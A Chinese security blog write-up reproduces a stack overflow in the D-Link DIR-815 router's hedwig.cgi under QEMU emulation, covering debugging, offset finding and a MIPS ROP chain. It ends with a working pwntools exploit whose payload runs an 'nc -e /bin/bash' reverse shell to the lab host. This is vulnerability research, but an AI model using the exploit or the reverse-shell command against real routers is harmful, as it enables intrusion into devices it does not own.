DLink 815路由器棧溢位漏洞分析與復現

unr4v31發表於2022-03-29

DLink 815路由器棧溢位漏洞分析與復現

qemu模擬環境搭建

韌體下載地址

File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815

binwalk解壓韌體

binwalk -Me dir815.bin

得到檔案系統:

Image.png

檢視bin/busybox得知是MIPS32,小端:

Image.png

使用qemu-system-mipsel從系統角度進行模擬,就需要一個mips架構的核心映象和檔案系統。可以在如下網站下載:

Index of /~aurel32/qemu

因為是小端,這裡直接選擇mipsel,然後下載其中兩個檔案:

Image.png

debian_squeeze_mipsel_standard.qcow2是檔案系統,vmlinux-3.2.0-4-4kc-malta是核心映象。

然後編輯qemu啟動指令碼start.sh:

sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

啟動後輸入使用者名稱/密碼 root/root或user/user即可登入qemu模擬的系統。

接下來在宿主機建立一個網路卡,使qemu內能和宿主機通訊。

安裝依賴庫:

sudo apt-get install bridge-utils uml-utilities

在宿主機編寫如下檔案儲存為net.sh並執行:

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

可以使用ifconfig命令檢查是否配置成功:

Image.png

然後配置qemu虛擬系統的路由,在qemu虛擬系統中編寫net.sh並執行:

#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

在qemu虛擬系統中使用ifconfig命令檢視eth0地址是否更改為192.168.100.2:

Image.png

此時宿主機應該可以和qemu虛擬系統互相ping通了:

Image.png

Image.png

隨後使用scp命令將binwalk解壓出來的squashfs-root資料夾上傳到qemu系統中的/root路徑下:

scp -r squashfs-root/ root@192.168.100.2:/root

然後在qemu虛擬系統中將squashfs-root資料夾下的庫檔案替換掉原有的,此操作會改變檔案系統,如果不小心退出了虛擬系統,再次啟動qemu時會失敗,原因是因為改變了檔案系統的內容。此時需要使用新的檔案系統,因此在此操作之前可以先備份一份。編寫auto.sh並執行:

cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

接下來在qemu虛擬系統的根目錄( / )下,建立一個名為conf的檔案,此檔案是httpd服務的配置檔案。內容如下:

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #開啟log
ErrorLog /log #log檔案
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0         #網路卡
    Address 192.168.100.2  #qemu的ip地址
    Port "4321"            #對應web訪問埠
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

最後啟動httpd服務:

./httpd -f conf

在宿主機瀏覽器中訪問hedwig.cgi服務:

Image.png

這裡訪問失敗是因為hedwig.cgi服務沒有收到請求,需要提前配置qemu虛擬環境中的REQUEST_METHOD等方法,因為httpd是讀取的環境變數,這裡就直接通過環境變數進行設定:

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

這裡在qemu虛擬系統中執行hedwig.cgi,再次訪問http://192.168.100.2:4321/hedwig.cgi就可以正常收到內容了:

Image.png

以上整個過程就是環境搭建部分,接下來就是使用gdbserver對hedwig.cgi進行除錯了。

除錯方法

需要在宿主機使用異構的gdb,在qemu虛擬系統中使用gdbserver來除錯程式。首先在宿主機安裝異構的gdb:

sudo apt install gdb-multiarch

然後在下面網址下載編譯好的異構gdbserver,直接傳到qemu虛擬系統中,或者自己在gdb官網下載原始碼交叉編譯也行:

embedded-tools/binaries at master · rapid7/embedded-tools

gdbserver的用法如下:

./gdbserver 遠端gdb的IP:port ./test

例如這裡是用的:

./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi

最後在宿主機使用gdb-multiarch進行遠端除錯即可:

Image.png

除錯確定棧溢位偏移

因為hedwig.cgi是整合到cgibin中的,所以只需要將cgibin檔案放到IDA中分析就行。通過查詢資料和分析得知,程式的溢位點和HTTP_COOKIE欄位有關。通過查詢字串引用,在IDA中檢視虛擬碼如下:

Image.png

它存在於sess_get_uid函式,getenv獲取變數資訊,因此可以通過設定全域性變數來控制此引數。檢視sess_get_uid函式的引用,在hedwigcgi_main函式中找到如下內容:

Image.png

此處值得注意的是sprintf將string和字串拼接,放入到v27變數中,並未對長度進行檢查。接下來嘗試開啟檔案/var/tmp/temp.xml,如果不存在就跳轉到退出函式,如果檔案存在,則順序執行到以下程式碼:

Image.png

此處的sprintf也未對長度進行檢查,輸入超長的字串會發生棧溢位。使用如下除錯指令碼進行環境變數的設定,並啟動除錯埠:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

使用gdb-multiarch遠端除錯,斷在hedwig_cgi函式的返回地址,可以觀察到s0-s7暫存器被我們的輸入控制,如下:

Image.png

最後看到控制了s0-s7,並且控制了ra暫存器,即控制了返回地址,依照我們上面除錯指令碼輸入的內容,得知填充長度為1009即可控制返回地址:

Image.png

構造ROP的方法

目的是為了劫持返回地址,呼叫libc中的system。但為了避免cache incoherency機制,這裡使用system構造反彈shell,而非直接呼叫shellcode。首先要確定可以呼叫system的libc,使用vmmap檢視得知為libc.so.0:

Image.png

複製以下程式碼到ida的plugins目錄中,並命名為mipsrop.py:

https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py

修改82行from shims import ida_shimsimport ida_shims

複製以下程式碼到ida的plugins目錄中,並命名為ida_shims.py:

import idc
import idaapi

try:
    import ida_bytes
except ImportError:
    ida_bytes = None

try:
    import ida_name
except ImportError:
    ida_name = None

try:
    import ida_kernwin
except ImportError:
    ida_kernwin = None

try:
    import ida_nalt
except ImportError:
    ida_nalt = None

try:
    import ida_ua
except ImportError:
    ida_ua = None

try:
    import ida_funcs
except ImportError:
    ida_funcs = None


def _get_fn_by_version(lib, curr_fn, archive_fn, archive_lib=None):
    if idaapi.IDA_SDK_VERSION >= 700:
        try:
            return getattr(lib, curr_fn)
        except AttributeError:
            raise Exception('%s is not a valid function in %s' % (curr_fn,
                                                                  lib))
    use_lib = lib if archive_lib is None else archive_lib
    try:
        return getattr(use_lib, archive_fn)
    except AttributeError:
        raise Exception('%s is not a valid function in %s' % (archive_fn,
                                                              use_lib))
def print_insn_mnem(ea):
    fn = _get_fn_by_version(idc, 'print_insn_mnem', 'GetMnem')
    return fn(ea)

def print_operand(ea, n):
    fn = _get_fn_by_version(idc, 'print_operand', 'GetOpnd')
    return fn(ea, n)

def define_local_var(start, end, location, name):
    fn = _get_fn_by_version(idc, 'define_local_var', 'MakeLocal')
    return fn(start, end, location, name)

def find_func_end(ea):
    fn = _get_fn_by_version(idc, 'find_func_end', 'FindFuncEnd')
    return fn(ea)


def is_code(flag):
    fn = _get_fn_by_version(ida_bytes, 'is_code', 'isCode', idaapi)
    return fn(flag)


def get_full_flags(ea):
    fn = _get_fn_by_version(ida_bytes, 'get_full_flags', 'getFlags', idaapi)
    return fn(ea)


def get_name(ea):
    fn = _get_fn_by_version(idc, 'get_name', 'Name')

    if idaapi.IDA_SDK_VERSION > 700:
        return fn(ea, ida_name.GN_VISIBLE)
    return fn(ea)


def get_func_off_str(ea):
    fn = _get_fn_by_version(idc, 'get_func_off_str', 'GetFuncOffset')
    return fn(ea)


def jumpto(ea, opnum=-1, uijmp_flags=0x0001):
    fn = _get_fn_by_version(ida_kernwin, 'jumpto', 'Jump', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, opnum, uijmp_flags)
    return fn(ea)


def ask_yn(default, format_str):
    fn = _get_fn_by_version(ida_kernwin, 'ask_yn', 'AskYN', idc)
    return fn(default, format_str)


def ask_file(for_saving, default, dialog):
    fn = _get_fn_by_version(ida_kernwin, 'ask_file', 'AskFile', idc)
    return fn(for_saving, default, dialog)


def get_func_attr(ea, attr):
    fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionAttr')
    return fn(ea, attr)


def get_name_ea_simple(name):
    fn = _get_fn_by_version(idc, 'get_name_ea_simple', 'LocByName')
    return fn(name)


def next_head(ea, maxea=4294967295):
    fn = _get_fn_by_version(idc, 'next_head', 'NextHead')
    return fn(ea, maxea)


def get_screen_ea():
    fn = _get_fn_by_version(idc, 'get_screen_ea', 'ScreenEA')
    return fn()


def choose_func(title):
    fn = _get_fn_by_version(idc, 'choose_func', 'ChooseFunction')
    return fn(title)


def ask_ident(default, prompt):
    fn = _get_fn_by_version(ida_kernwin, 'ask_str', 'AskIdent', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(default, ida_kernwin.HIST_IDENT, prompt)
    return fn(default, prompt)


def set_name(ea, name):
    fn = _get_fn_by_version(idc, 'set_name', 'MakeName')
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, name, ida_name.SN_CHECK)
    return fn(ea, name)


def get_wide_dword(ea):
    fn = _get_fn_by_version(idc, 'get_wide_dword', 'Dword')
    return fn(ea)


def get_strlit_contents(ea):
    fn = _get_fn_by_version(idc, 'get_strlit_contents', 'GetString')
    return fn(ea)


def get_func_name(ea):
    fn = _get_fn_by_version(idc, 'get_func_name', 'GetFunctionName')
    return fn(ea)


def get_first_seg():
    fn = _get_fn_by_version(idc, 'get_first_seg', 'FirstSeg')
    return fn()


def get_segm_attr(segea, attr):
    fn = _get_fn_by_version(idc, 'get_segm_attr', 'GetSegmentAttr')
    return fn(segea, attr)


def get_next_seg(ea):
    fn = _get_fn_by_version(idc, 'get_next_seg', 'NextSeg')
    return fn(ea)


def is_strlit(flags):
    fn = _get_fn_by_version(ida_bytes, 'is_strlit', 'isASCII', idc)
    return fn(flags)


def create_strlit(start, lenth):
    fn = _get_fn_by_version(ida_bytes, 'create_strlit', 'MakeStr', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(start, lenth, ida_nalt.STRTYPE_C)
    return fn(start, idc.BADADDR)


def is_unknown(flags):
    fn = _get_fn_by_version(ida_bytes, 'is_unknown', 'isUnknown', idc)
    return fn(flags)


def is_byte(flags):
    fn = _get_fn_by_version(ida_bytes, 'is_byte', 'isByte', idc)
    return fn(flags)


def create_dword(ea):
    fn = _get_fn_by_version(ida_bytes, 'create_data', 'MakeDword', idc)
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, ida_bytes.FF_DWORD, 4, idaapi.BADADDR)
    return fn(ea)


def op_plain_offset(ea, n, base):
    fn = _get_fn_by_version(idc, 'op_plain_offset', 'OpOff')
    return fn(ea, n, base)


def next_addr(ea):
    fn = _get_fn_by_version(ida_bytes, 'next_addr', 'NextAddr', idc)
    return fn(ea)


def can_decode(ea):
    fn = _get_fn_by_version(ida_ua, 'can_decode', 'decode_insn', idaapi)
    return fn(ea)


def get_operands(insn):
    if idaapi.IDA_SDK_VERSION >= 700:
        return insn.ops
    return idaapi.cmd.Operands


def get_canon_feature(insn):
    if idaapi.IDA_SDK_VERSION >= 700:
        return insn.get_canon_feature()
    return idaapi.cmd.get_canon_feature()


def get_segm_name(ea):
    fn = _get_fn_by_version(idc, 'get_segm_name', 'SegName')
    return fn(ea)


def add_func(ea):
    fn = _get_fn_by_version(ida_funcs, 'add_func', 'MakeFunction', idc)
    return fn(ea)


def create_insn(ea):
    fn = _get_fn_by_version(idc, 'create_insn', 'MakeCode')
    return fn(ea)


def get_segm_end(ea):
    fn = _get_fn_by_version(idc, 'get_segm_end', 'SegEnd')
    return fn(ea)


def get_segm_start(ea):
    fn = _get_fn_by_version(idc, 'get_segm_start', 'SegStart')
    return fn(ea)


def decode_insn(ea):
    fn = _get_fn_by_version(ida_ua, 'decode_insn', 'decode_insn', idaapi)
    if idaapi.IDA_SDK_VERSION >= 700:
        insn = ida_ua.insn_t()
        fn(insn, ea)
        return insn
    fn(ea)
    return idaapi.cmd


def get_bookmark(index):
    fn = _get_fn_by_version(idc, 'get_bookmark', 'GetMarkedPos')
    return fn(index)


def get_bookmark_desc(index):
    fn = _get_fn_by_version(idc, 'get_bookmark_desc', 'GetMarkComment')
    return fn(index)


def set_color(ea, what, color):
    fn = _get_fn_by_version(idc, 'set_color', 'SetColor')
    return fn(ea, what, color)


def msg(message):
    fn = _get_fn_by_version(ida_kernwin, 'msg', 'Message', idc)
    return fn(message)


def get_highlighted_identifier():
    fn = _get_fn_by_version(ida_kernwin, 'get_highlight',
                            'get_highlighted_identifier', idaapi)

    if idaapi.IDA_SDK_VERSION >= 700:
        viewer = ida_kernwin.get_current_viewer()
        highlight = fn(viewer)
        if highlight and highlight[1]:
            return highlight[0]
    return fn()


def start_ea(obj):
    if not obj:
        return None

    try:
        return obj.startEA
    except AttributeError:
        return obj.start_ea


def end_ea(obj):
    if not obj:
        return None

    try:
        return obj.endEA
    except AttributeError:
        return obj.end_ea


def set_func_flags(ea, flags):
    fn = _get_fn_by_version(idc, 'set_func_attr', 'SetFunctionFlags')
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, idc.FUNCATTR_FLAGS, flags)
    return fn(ea, flags)


def get_func_flags(ea):
    fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionFlags')
    if idaapi.IDA_SDK_VERSION >= 700:
        return fn(ea, idc.FUNCATTR_FLAGS)
    return fn(ea)

之後在idapython輸入框中輸入:

import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

然後輸入mipsrop.find("")即可查詢可用的gadget:

Image.png

根據《揭祕家用路由器0day漏洞挖掘技術》一書的方法:先將 system 函式的地址 -1 傳入某個暫存器中,之後找到對這個暫存器進行加 +1 的操作的 gadget 進行呼叫即可將system地址恢復,因此我們查詢addiu $s0,1指令,選用gadgets:0x158c8

Image.png

Image.png

這個gadget可以將s0賦值為system函式地址。現在我們還需要找到給system函式傳參的gadget。利用mipsrop.stackfinder,選用gadget:0x159cc。因為其既可以跳轉至system函式,又可以通過s5給system函式傳參:

Image.png

Image.png

編寫exp

有了上面兩個gadget之後,整體流程如下:

  • 劫持地址-->0x158c8(給s0賦值為system函式地址,跳轉至s5)
  • 0x159cc(給system函式傳參並跳轉執行)

exp如下:

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4                        # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += p32(base_addr+gadget2)         # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()

執行exp生成context,將congtext上傳,然後執行hedwig.cgi服務:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi

最後可以在宿主機可以得到一個qemu虛擬系統的shell:

Image.png

Image.png

Image.png

Image.png

Image.png

總結

復現過程主要難點在於環境搭建、模擬模擬,由於沒有硬體裝置,通過模擬只能模擬出部分功能。我試了很多方式,比如像FirmAE和Firmadyne,或者是自己構建的docker映象、openwrt虛擬機器,都不是很好用,中途遇到無數多的問題不得不放棄這些方法,最後選擇這種手動模擬的方式,這種方式應該適用於多數要求不是很高的模擬場景。

References

IOT裝置漏洞挖掘從入門到入門(一)- DVRF系列題目分析 - 安全客,安全資訊平臺

IOT裝置漏洞挖掘從入門到入門(二)- DLink Dir 815漏洞分析及三種方式模擬復現 - 安全客,安全資訊平臺

IOTsec-Zone 物聯網安全社群

MIPS 彙編指令學習 - CobrAMG - 部落格園

相關文章